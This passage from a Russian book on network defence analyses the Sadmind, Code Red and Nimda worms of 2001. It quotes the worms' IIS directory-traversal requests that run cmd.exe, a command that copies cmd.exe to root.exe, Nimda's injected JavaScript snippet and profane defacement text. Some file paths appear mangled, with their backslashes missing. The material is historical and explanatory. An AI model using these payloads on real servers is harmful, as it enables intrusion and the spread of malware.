Коллектив авторов - Защита от хакеров корпоративных сетей
Червь Sadmind
Червь Sadmind появился в мае 2001 года. Его уникальность заключалась в способности заражать как узлы Sun Solaris, так и узлы Microsoft IIS. Этот червь начал свое путешествие с поиска систем Solaris с уязвимой версией сервиса RPC (Remote Procedure Call – удаленный вызов процедуры). Данный сервис поставляется вместе с системой Solaris версий от 2.4 до 7. Найдя уязвимый компьютер, червяк использовал переполнение буфера, чтобы получить доступ к системе с полномочиями привилегированного пользователя. Затем он осуществлял следующие действия:
• заменял входящий порт для сервиса remote shell на порт 600;
• установливал различные двоичные файлы в папку /dev/cuc/ и создавал системные журналы в папке /dev/cub/. В число этих двоичных файлов входят grabbb, sadmin.sh и uniattack.sh;
• атаковал серверы IIS, используя уязвимость обработки Unicode. Запросы, формируемые червем, выглядят следующим образом:
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/
c+dir+..
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
copy+winntsystem32cmd.exe+root.exe
GET /scripts/root.exe?/c+echo+<HTML code inserted
here>.././index.asp• ну и напоследок червь менял код HTML-страниц, находящихся на сервере IIS, вписывая туда следующие строки:
fuck USA Government
fuck PoizonBOx
contact:[email protected]Хотя распространение червя Sadmind было достаточно заметным, его не сравнить с настоящими эпидемиями появившихся позднее червей (о них мы поговорим чуть позже). В конце концов, уязвимое место, через которое Sadmind проникал в систему, было закрыто два года назад! Однако червь до сих пор распространяется, потому что многие администраторы за эти два года так и не установили пакеты обновления системы.
Черви Code Red
18 июня 2001 года фирма eEye Digital Security (www.eeye.com) известила общественность об обнаруженной уязвимости, которая могла привести к переполнению буфера в Web-сервере Microsoft IIS при обработке. IDA-файлов. Коротко говоря, переполнение буфера может возникнуть при обработке длинных запросов URL, координируемых приложением Indexing Service ISAPI, которое обычно работает с запросами. IDA. Специальным образом сконструированный запрос URL вызывает переполнение буфера этого приложения и позволяет выполнить произвольный код, используя удаленный доступ.
А 17 июля фирма eEye проинформировала о появлении Интернет-червя, использующего переполнение буфера. IDA. Они провели восстановление исходного кода червя, чтобы понять принцип его устройства. Вот что было обнаружено:
• червь запускает 99 своих процессов (нитей), которые используются для поиска новых серверов-мишеней;
• запускается дополнительный процесс, который заменяет Web-страницы зараженного сервера на страницу, на которой написано «Welcome to http://www.worm.com! Hacked By Chinese!» (Добро пожаловать на сайт http://www.worm.com! взломанный китайцами);
• 20 числа каждого месяца червь отправляет большое количество информации на сайт www.whitehouse.gov, осуществляя распределенную атаку, приводящую к отказу в обслуживании.
Полный анализ червя, включая отдельные фрагменты его кода, находится на сайте www.eeye.com/html/Research/Advisories/AL20010717.html.
Чтобы сделать жизнь владельцев компьютеров еще более интересной, 4 августа была выпущена новая версия этого червя, которая называлась Code Red II, так как механизм заражения (переполнение буфера. IDA) остался неизменным. Впрочем, результат воздействия нового червя выглядел несколько иначе:
• количество процессов, запускаемых для поиска уязвимых серверов, достигало 300;
• копирование файлаcmd.exe в файлы inetpubscriptsroot.exe и progra~1 common~1systemMSADCroot.exe приводит к тому, что этот файл становится доступным для удаленной атаки через Интернет;
• Троянская программа устанавливается по адресу c: explorer.exe. Она выключает систему защиты файлов в Windows, а затем отображает диски C: и D: в папки /c и /d в корневой папке сервера IIS. В результате с удаленного компьютера можно получить полный доступ к этим дискам. Троянская программа наблюдает за состоянием дисков и воссоздает их каждые 10 мин.
Полный анализ червя Code Red II находится на сайте www.eeye.com/html/Research/Advisories/AL20010804.html. Еще раз отметим, что черви Code Red зависят от переполнения буфера IIS. А ведь для борьбы с этим видом уязвимости фирма Microsoft выпустила пакет исправлений еще в июне 2001 года. Из этого факта можно сделать вывод, что подавляющее большинство пользователей Интернета обычно пренебрегают обновлением своих систем.
Червь Nimda
В сентябре 2001 года, когда последствия эпидемии червей Code Red еще не были устранены, возник очередной представитель этого вида. Червь Nimda (название представляет собой слово admin, написанное задом наперед), также носящий имя Concept Virus, является очередным представителем группы червей, распространяющихся через сайты Microsoft. Вот методы, которые он использует для инфицирования.
Червь рассылает себя по электронной почте, присоединяясь в виде файлов. EXE. Однако при этом используется тип вложения audio/x-wave MIME, эксплуатирующий такой недостаток браузера Internet Explorer и почтового клиента Outlook, как автоматическое выполнение присоединенных файлов во время просмотра электронной почты. После выполнения червь рассылает себя по адресам, найденным в адресной книге пользователя и обнаруженным в кэше приложения Internet Explorer. Последнее означает, что червь собирает адреса электронной почты, опубликованные на Web-страницах, которые недавно посетил пользователь инфицированного компьютера!
Червь ищет уязвимые IIS-машины, во-первых, просматривая файлы root.exe, оставшиеся после червей Code Red II и Sadmind, а во-вторых, используя различные трюки с перекодированием Unicode и двойной перекодировкой URL, позволяющие выполнять команды на стороне сервера. Вот список выполняемых червем запросов:GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/
cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..xc1x1c../..xc1x1c../
..xc1x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc1x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc0xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc1x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dirОбнаружив уязвимый IIS-сервер, червь пытается передать на него свой код, используя протокол tftp. Затем на этом сервере создается гостевая учетная запись, которая добавляется в группу администраторов. Таким способом червь получает доступ к скрытому сетевому диску C$. Червь модифицирует все локальные HTML– и ASP-файлы, добавляя к ним следующий кусок кода:
<script language=“JavaScript”>
window.open(“readme.eml”, null,
“resizable=no,top=6000,left=6000”)
</script>Кроме того, червь копируется в файл readme.eml. В результате ничего не подозревающие пользователи Интернета автоматически загружают и, вполне возможно, запускают на выполнение червей с инфицированных сайтов.
Червь копирует себя также в файлы форматов. EML и. NWS, находящиеся в локальных и сетевых папках. Попытки открыть папки с этими файлами приводят к тому, что функция автоматического предварительного просмотра приложения Windows Explorer активирует код червя. Этот способ используется для распространения червя по локальной сети.
Ну и, наконец, червь копирует себя в файл riched.dll, пытаясь присоединиться к документам Microsoft Office. Ведь эти документы открываются в той же самой папке, в которой бинарный файл riched.dll загрузит и выполнит зараженный Троянской программой DLL.
В итоге получился очень заметный, но в то же время и весьма эффективный червь. Его присутствие сразу обращает на себя внимание, так как в локальной системе появляются многочисленные файлы. EML и. NWS. Этот червь самостоятельно распространяется по уязвимым серверам. Метод множественного заражения в очередной раз доказал свою эффективность. Многие пользователи, распознавшие и удалившие червя, обнаруживали, что их система все равно продолжает инфицироваться, ведь полностью уничтожить червя не так-то просто! Для полноценной борьбы с этой напастью нужно установить на сервер IIS соответствующий пакет исправлений от Microsoft, обновить клиента Microsoft Outlook, а впоследствии осторожно использовать сетевые ресурсы общего доступа.
Полная информация по червю Nimda доступна в документах группы «компьютерной скорой помощи» – CERT – по адресу www.cert.org/advisories/CA-2001-26.html, а также в анализе от SecurityFocus на сайте aris.securityfocus.com/alerts/nimda/010921-Analysis-Nimda-v2.pdf.Создание вредоносного кода
Нет никого ужаснее человека, тратящего свое время на обдумывание и конструирование «идеального» вируса или червя. Существовавшие до сих пор черви и вирусы (например, червь Морриса и вирус Melissa) были не раз подвергнуты критике, потому что имели изъяны кода и, следовательно, не были настолько эффективными, как могли бы быть.
Давайте представим вирус, код которого не имеет изъянов. Конечно, вы думаете, что никогда не смогли бы создать ничего подобного. Вы будете удивлены, но в статье, опубликованной в «Вашингтон пост» с заголовком «No Love for Computer Bugs», Джон Шварц (John Schwartz) рассказывает о Фреде Коэне (Fred Cohen), студенты которого выполняли задания по разработке различных вирусов. Это не опечатка. Фред Коэн действительно требует создания вирусов от студентов, обучающихся компьютерной безопасности. Эту статью можно прочитать на сайте: www.washingtonpost.com/wp-dyn/articles/A47155-2000Jul4.html.